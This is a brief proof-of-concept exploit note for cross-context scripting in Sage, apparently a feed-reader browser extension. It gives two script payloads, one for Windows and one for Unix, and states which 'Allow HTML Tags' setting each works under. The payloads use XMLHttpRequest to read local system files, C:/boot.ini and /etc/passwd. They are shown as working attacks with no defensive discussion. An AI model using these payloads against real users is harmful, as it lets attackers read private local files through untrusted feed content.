. . Cross Context Scripting with Sage . WINDOWS: works with "Allow HTML Tags" off . <script>try { request = new XMLHttpRequest(); request.open("GET", "file:///C:/boot.ini"); request.send(); alert(request.responseText); } catch(e) {}</script> . WINDOWS: works with "Allow HTML Tags" on . . UNIX: works with "Allow HTML Tags" off . <script>try { request = new XMLHttpRequest(); request.open("GET", "file:///etc/passwd"); request.send(); alert(request.responseText); } catch(e) {}</script> . UNIX: works with "Allow HTML Tags" on .